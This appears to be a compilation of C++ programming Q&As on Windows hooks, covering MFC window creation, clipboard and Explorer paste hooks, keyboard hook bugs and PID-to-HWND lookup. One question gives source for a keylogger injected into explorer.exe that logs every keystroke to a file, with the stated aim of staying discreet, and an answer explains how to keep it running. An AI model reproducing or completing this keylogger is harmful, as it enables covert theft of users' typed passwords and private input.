Why is CWnd::CreateEx failing to create my window? - c++

I'm working on a sporadic production issue that's occurring within our 32 bit MFC VC2010 application. The application is running on Windows Server 2008 R2 Standard SP1 64-bit.
The issue is caused by a failure to create a CWnd derived class. When the failure occurs the AfxUnhookWindowCreate method returns false within CWnd::CreateEx. This is because the pThreadState->m_pWndInit variable is not NULL. It looks like _AfxCbtFilterHook should be setting this to NULL when HCBT_CREATEWND is hooked, but it appears this is not occurring. I've logged out the CREATESTRUCT and compared it to when the failure occurs vs. doesn't occur and the parameters are essentially the same.
Does anyone have ideas on what could cause this or how I could identify the cause? Thanks!
BOOL CWnd::CreateEx(DWORD dwExStyle, LPCTSTR lpszClassName,
LPCTSTR lpszWindowName, DWORD dwStyle,
int x, int y, int nWidth, int nHeight,
HWND hWndParent, HMENU nIDorHMenu, LPVOID lpParam)
{
...
if (!PreCreateWindow(cs))
{
PostNcDestroy();
return FALSE;
}
AfxHookWindowCreate(this);
HWND hWnd = ::AfxCtxCreateWindowEx(cs.dwExStyle, cs.lpszClass,
cs.lpszName, cs.style, cs.x, cs.y, cs.cx, cs.cy,
cs.hwndParent, cs.hMenu, cs.hInstance, cs.lpCreateParams);
...
if (!AfxUnhookWindowCreate())
PostNcDestroy(); // cleanup if CreateWindowEx fails too soon
...
BOOL AFXAPI AfxUnhookWindowCreate()
{
_AFX_THREAD_STATE* pThreadState = _afxThreadState.GetData();
#ifndef _AFXDLL
if (afxContextIsDLL && pThreadState->m_hHookOldCbtFilter != NULL)
{
::UnhookWindowsHookEx(pThreadState->m_hHookOldCbtFilter);
pThreadState->m_hHookOldCbtFilter = NULL;
}
#endif
if (pThreadState->m_pWndInit != NULL)
{
pThreadState->m_pWndInit = NULL;
return FALSE; // was not successfully hooked
}
return TRUE;
}
LRESULT CALLBACK
_AfxCbtFilterHook(int code, WPARAM wParam, LPARAM lParam)
{
_AFX_THREAD_STATE* pThreadState = _afxThreadState.GetData();
if (code != HCBT_CREATEWND)
{
// wait for HCBT_CREATEWND just pass others on...
return CallNextHookEx(pThreadState->m_hHookOldCbtFilter, code,
wParam, lParam);
}
...
pThreadState->m_pWndInit = NULL;

I tracked the problem down to a window procedure hook that shouldn't have been executing at this time.

Related

C++ Hook Windows Explorer paste event

I would like to hook Windows Explorer paste event to copy files from a remote connection.
Description: The goal is remote copy/paste files. Like Team Viewer or Remote Desktop. Ctrl+C file on one computer, and Ctrl+V on another...
Well let's break this problem into 3 parts:
1. Detect for clipboard changes:
This is pretty easy, by registering a hook using SetClipboardViewer, Windows will nicely send us an WM_DRAWCLIPBOARD message:
HWND nextClipboardViewer = nullptr;
void HandleClipboardChanges()
{
}
LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
switch (msg)
{
case WM_CREATE:
nextClipboardViewer = SetClipboardViewer(hwnd);
break;
case WM_CHANGECBCHAIN:
if (reinterpret_cast<HWND>(wParam) == nextClipboardViewer)
{
nextClipboardViewer = reinterpret_cast<HWND>(lParam);
}
else if (nextClipboardViewer != nullptr)
{
SendMessage(nextClipboardViewer, msg, wParam, lParam);
}
break;
case WM_DRAWCLIPBOARD:
HandleClipboardChanges();
SendMessage(nextClipboardViewer, msg, wParam, lParam);
break;
}
}
2. Get the active Windows Explorer directory
In the HandleClipboardChanges function above, we should iterate through all the opened Windows Explorer, check if any of them is focused, and get their current directory, thanks to zett42's answer, we could do this fairly easily:
HWND hWndExplorer = nullptr;
HWND hWndFocused = GetActiveWindow();
std::wstring explorerDir;
for (const auto& info : GetCurrentExplorerFolders())
{
if (hWndFocused == info.hwnd)
{
CComHeapPtr<wchar_t> pPath;
if (SUCCEEDED(::SHGetNameFromIDList(info.pidl.get(), SIGDN_FILESYSPATH, &pPath)))
{
hWndExplorer = info.hwnd;
explorerDir = pPath;
}
break;
}
}
3. Handle the copy operation and show a progress dialog
For the progress dialog, we will use IProgressDialog, although IOperationsProgressDialog has more features, but it is also more difficult to use, you can consider switching to it.
The hWndParent passed into IProgressDialog::StartProgressDialog could be nullptr, but we will use the explorer's hWnd for consistency.
The below code doesn't check for errors for readability.
// don't forget the include and CoInitialize
#include <atlbase.h>
#include <shlobj_core.h>
CoInitializeEx(nullptr, COINIT_MULTITHREADED);
CComPtr<IProgressDialog> pDialog;
pDialog.CoCreateInstance(CLSID_ProgressDialog);
pDialog->StartProgressDialog(hWndExplorer, nullptr, PROGDLG_AUTOTIME, nullptr);
pDialog->SetTitle(L"Copying from network");
pDialog->SetLine(1, L"Copying 69 files", false, nullptr);
// Do your copy operation here
for (DWORD i = 0; i < 1'000'000; i++)
{
pDialog->SetProgress(i, 1'000'000);
pDialog->SetLine(2, L"Copying file_a.txt", false, nullptr);
// Check if the user had cancelled the operation
// See also: pDialog->SetCancelMsg()
// BOOL isUserCancelled = pDialog->HasUserCancelled();
}
pDialog->StopProgressDialog();
Related:
Monitoring clipboard
How to get the path of an active file explorer window in c++ winapi

Globally installed keyboard hook prevents keyboard input to other applications

I am setting a global hook for keyboard. When I give keyboard inputs to other applications, the application does not receive the input and it hangs. When the console is stopped, the application recovers and the keyboard inputs are posted together.
DLL source:
#include <iostream>
#include <Windows.h>
#include <string>
using namespace std;
#define DLLEXPORT __declspec(dllexport)
DLLEXPORT bool installhook();
DLLEXPORT void unhook();
DLLEXPORT string TestLoaded();
DLLEXPORT LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam );
static HHOOK kb_hook;
string test = "not loaded";
HINSTANCE hDLL;
DLLEXPORT LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam )
{
if(code == HC_ACTION) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n"); //tried without this also
MessageBoxA(NULL, "Hi", "Space", MB_OK);
break;
}
}
return CallNextHookEx(NULL, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
test = "loaded";
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hDLL = hModule;
break;
}
printf("test str = %s \n", test.c_str());
return TRUE;
}
bool installhook()
{
kb_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, hDLL, NULL);
if(!kb_hook)
{
return false;
}
return true;
}
void unhook()
{
if(kb_hook)
{
UnhookWindowsHookEx(kb_hook);
}
}
string TestLoaded()
{
return test;
}
Console applicatioon source:
#include <iostream>
#include <Windows.h>
#include <string>
#define DLLIMPORT __declspec(dllimport)
using namespace std;
DLLIMPORT void unhook();
DLLIMPORT bool installhook();
DLLIMPORT string TestLoaded();
int main()
{
cout << TestLoaded() <<endl;
installhook();
for(int i = 1; i<=10 ; i++)
{
//Do some keyboard activities in this 10 secs
Sleep(1000);
cout << i<<endl;
}
unhook();
cin.get();
return 1;
}
My suspicion was that since the dll will be loaded into each process in the process's own address space and console would not be present in other applications, it gets void and crashed. So I removed the console outputs and replaced with messagebox. Then also no difference.
What could be the problem?
Update:
I tried to do a local hook to a specific thread before trying it global. But I get Parameter is incorrect error 87 at setwindowshookex. Below are the updated code:
dll:
bool installhook(DWORD ThreadId) //exporting this function
{
kb_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, NULL, ThreadId); //tried with the dll module's handle also instead of NULL
if(!kb_hook)
{
printf("SetWindowsHookEx failed : %d\n", GetLastError());
return false;
}
return true;
}
Console application source:
DWORD myThread()
{
cout<< "Thread started\n";
char str[250];
cin>>str;
return 0;
}
int main()
{
cout << TestLoaded() <<endl;
DWORD myThreadID;
HANDLE myHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)myThread, NULL, 0, &myThreadID);
installhook(myThreadID);
for(int i = 0; i<100 ; i++)
{
Sleep(100);
if(i%10 == 0)
{
cout << i<<endl;
}
}
unhook();
}
Try to use WH_KEYBOARD_LL. You can set global hook even without dll declaring hook function in you process. Plus, you should detect space action using PKBDLLHOOKSTRUCT struct
LRESULT CALLBACK KeyboardProc ( int code, WPARAM wParam, LPARAM lParam )
{
if ( code == HC_ACTION )
{
switch ( wParam )
{
case WM_KEYDOWN:
{
// Get hook struct
PKBDLLHOOKSTRUCT p = ( PKBDLLHOOKSTRUCT ) lParam;
if ( p->vkCode == VK_SPACE)
{
MessageBoxA( NULL, "Hi", "Space", MB_OK );
}
}
break;
}
}
return CallNextHookEx( NULL, code, wParam, lParam );
}
....
// Somewhere in code
kb_hook = SetWindowsHookEx( WH_KEYBOARD_LL, KeyboardProc, NULL, NULL );
Thanks for all the inputs in answers and comments.
I have found out the actual problem. The mistake I made was trying to use console window without any message queue.
If I understand correctly, console windows are hosted by conhost.exe and they don't have any message pumps. And the hook works correctly only if the application which installs it has a message queue (should explore more on why it's this way). See below for ways you can make it work
If you are not posting any message to the console application:
Replace the for loop in the console application's main with this:
MSG msg;
while(GetMessage(&msg, NULL, 0, 0) > 0)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
In case you are posting any message to the console application:
Create a window using CreateWindowEx, there is an option for a message only window also. You would have to create a class and assign a CALLBACK process. Read here for more details. Create that and pass the handle along to the hook dll and postmessage to the handle. Use the loop for Getting msg and dispatching it (mentioned above). Then all the messages you post the dummy window from your hook dll can be processed using the CALLBACK window process.
References:
Why must SetWindowsHookEx be used with a windows message queue
CreateWindowEx MSDN
I had the same issue, working with QT, the GUI would be blocked (as planned) but whenever it came back online, it would process my keyboard and mouse clicks.
I am not sure if this is the most efficient way of handling it, but to solve this, I handled all the keyboard and mouse events separately. If, some task was in progress, I would just ignore the key event.
Otherwise I guess it just queues up and waits for its' turn!

Infinite loop in a dll injected on explorer.exe

I'm trying to create a keylogger on windows 7. To do It, I have created a Dll (setHook.dll) that I inject in a new thread of explorer.exe. In this first DLL, I open an other dll which contains a function (hookfunc) called on each keyboard input.
I need to let my Dll works in background because if it dies, I lost my Hook function.
To do It, I have tried :
Sleep(INFINITE); : works a moment but explorer.exe crash
while(1); : works a moment but explorer.exe crash
system("pause") : working ! But I don't want a console appears on the screen, my keylogger has to be discreet.
getchar(): same as system("pause");
system("pause > null"); : access denied
this_thread::sleep_for(chrono::seconds(10)) : explorer crash
SetHook.dll :
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc : (I don't think it can help)
LRESULT CALLBACK hookfunc(int code, WPARAM wParam, LPARAM lParam)
{
std::ofstream file;
WORD buf = 0;
BYTE KeyState[256];
file.open("E:\\function.txt", std::ofstream::out | std::ofstream::app);
if (code >= 0 && KEYUP(lParam))
{
if (wParam == VK_RETURN)
file << "[ENTER]";
else
{
GetKeyboardState(KeyState);
ToAscii(wParam, lParam, KeyState, &buf, 0);
file << (char)buf;
}
}
file.close();
return (CallNextHookEx(NULL, code, wParam, lParam));
}
The code works, I just need a discreet infinite loop instead of Sleep(INFINITE). Any idea ?
Sleeping in DllMain is almost certainly a bad idea.
I assume you are trying to install a global hook. To do this, you need to run the message loop in your injector application, i.e. something like:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

SetWindowsHookEx(WH_KEYBOARD) not working with thread ID

I have a dll that gets called by a process and now I would like to implement an input check in the dll to react on certain inputs that occur in the application.
SetWindowsHookEx() with a KeyboardProc function seemed like a possible solution so I implemented it.
This is roughly how the code in the dll looks like:
static HHOOK hhk = NULL;
LRESULT CALLBACK keyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code == HC_ACTION && ((DWORD)lParam & 0x80000000) == 0) // if there is an incoming action and a key was pressed
{
switch(wParam)
{
case VK_SPACE:
printf("Space was pressed\n");
break;
}
}
return CallNextHookEx(hhk, code, wParam, lParam);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if(ul_reason_for_call == DLL_PROCESS_ATTACH)
{
if(AllocConsole()){
freopen("CONOUT$", "w", stdout); // redirect output to console for debugging
}
printf("Dll loaded, lastError = %i\n", GetLastError());
printf("lastError = %i\n", GetLastError());
// sidenote: for some reason the first GetLastError() returns 0 while the second one returns 6 (invalid handle)
hhk = SetWindowsHookEx(WH_KEYBOARD, keyboardProc, hModule, GetCurrentThreadId());
}
else if (ul_reason_for_call == DLL_PROCESS_DETACH)
{
printf("\nCleaning up...");
FreeConsole();
UnhookWindowsHookEx(hhk);
}
return TRUE;
}
However nothing happens (or gets printed) in the Console window when I press any key. It doesn't even seem like the keyboardProc function is accessed at any time.
It does work though when I pass NULL instead of GetCurrentThreadId() to SetWindowsHookEx().
But this causes the hook to work globally meaning that whenever I press a key in another application, a Console window pops up (because the dll gets called again) and he checks for key inputs there.
Obviously this is not desired and I would like to make this work with only the process that originally called the dll.
I already checked if GetCurrentThreadId() returns a valid ID and it seems to be indeed the main thread ID of the process that initially called the dll (checked with Process Explorer).
So now my question is what could be the problem and more importantly, what can I do to make it working?
[DllImport("user32.dll", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);
uint process_id;
uint thread_id = GetWindowThreadProcessId(windowHandle, out process_id);
hhook = SetWindowsHookEx(WH_KEYBOARD, a_KeyboardProc, hInstance, 0);
I have used the code above to get the main thread_ID for a certain process. The good part is, the SetWindowsHookEx function gives a logical output. Unfortunately, the bad part is, if a key is pressed in the thread that has been hooked, the thread stops working.
In specific, the idHook parameter of SetWindowsHoookEx function was set to 2 (instead of 13) in my case for non-low-level keyboard events. It seems, at least to me, that LL corresponds to low-level, where keyboardProc should come with a WH_KEYBOARD instead of WH_KEYBOARD_LL.
I am not sure at this point how my response would be related to your question. Hopefully, we get what we need through discussion.

Convert PID to HWND

Basically, I want to convert a process ID to a HWND. I am using this code:
DWORD dwWindowId;
CHAR pszClassName[200];
HWND hWnd;
hWnd = GetTopWindow (NULL);
while ( hWnd != NULL )
{
if ( GetClassName (hWnd, pszClassName, 200) > 0)
if ( lstrcmpiA (lpcszWindowClass, pszClassName) == 0)
if ( GetWindowThreadProcessId (hWnd, &dwWindowId) )
if ( dwWindowId == dwProcessId )
return hWnd;
hWnd = GetNextWindow ( hWnd, GW_HWNDNEXT );
}
return NULL;
This worked fine until I tried with a process was created by CreateProcess. What should I do in this case? I have the process info, such as its ID and thread ID from CreateProcess, but I still do not know how to get its hwnd. I did read this:
After you call CreateProcess(), examine the PROCESS_INFORMATION
struct pointed to by lpProcessInformation argument.
PROCESS_INFORMATION contains a handle to the Process you just
started and a Thread ID. With this information call the
GetGUIThreadInfo()function and then examine the GUITHREADINFO
struct pointed to by lpgui. GUITHREADINFO has several HWNDs. Start
with hwndActive, and call GetParent() or GetAncestor() untill the
Main window is found.
By bug_crusher
I have tried EnumChildWindows() and EnumWindows(), and they did not work.
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
DWORD PID =0;
GetWindowThreadProcessId(hwnd,&PID);
if(PID == 1)
{
//,,,,,,,,
}
return TRUE;
}
But I don’t get it, can anyone explain that?
I'm a bit confused by what you're actually trying to do, but this function will build a vector of all the top-level windows belonging to the specified process.
void GetWindowsOfProcess(DWORD dwId, std::vector<HWND>& vecWindows)
{
struct WindowsOfProcess
{
std::vector<HWND>* pvecWindows;
DWORD dwProcId;
static BOOL CALLBACK EnumProc(HWND hWnd, LPARAM lParam)
{
DWORD dwProcId;
GetWindowThreadProcessId(hWnd, &dwProcId);
if (dwProcId == reinterpret_cast<WindowsOfProcess*>(lParam)->dwProcId)
reinterpret_cast<WindowsOfProcess*>(lParam)->pvecWindows->push_back(hWnd);
return TRUE;
}
WindowsOfProcess(DWORD dwId, std::vector<HWND>* pvec)
: dwProcId(dwId)
, pvecWindows(pvec)
{
EnumWindows(EnumProc, reinterpret_cast<LPARAM>(this));
}
};
WindowsOfProcess wop(dwId, &vecWindows);
}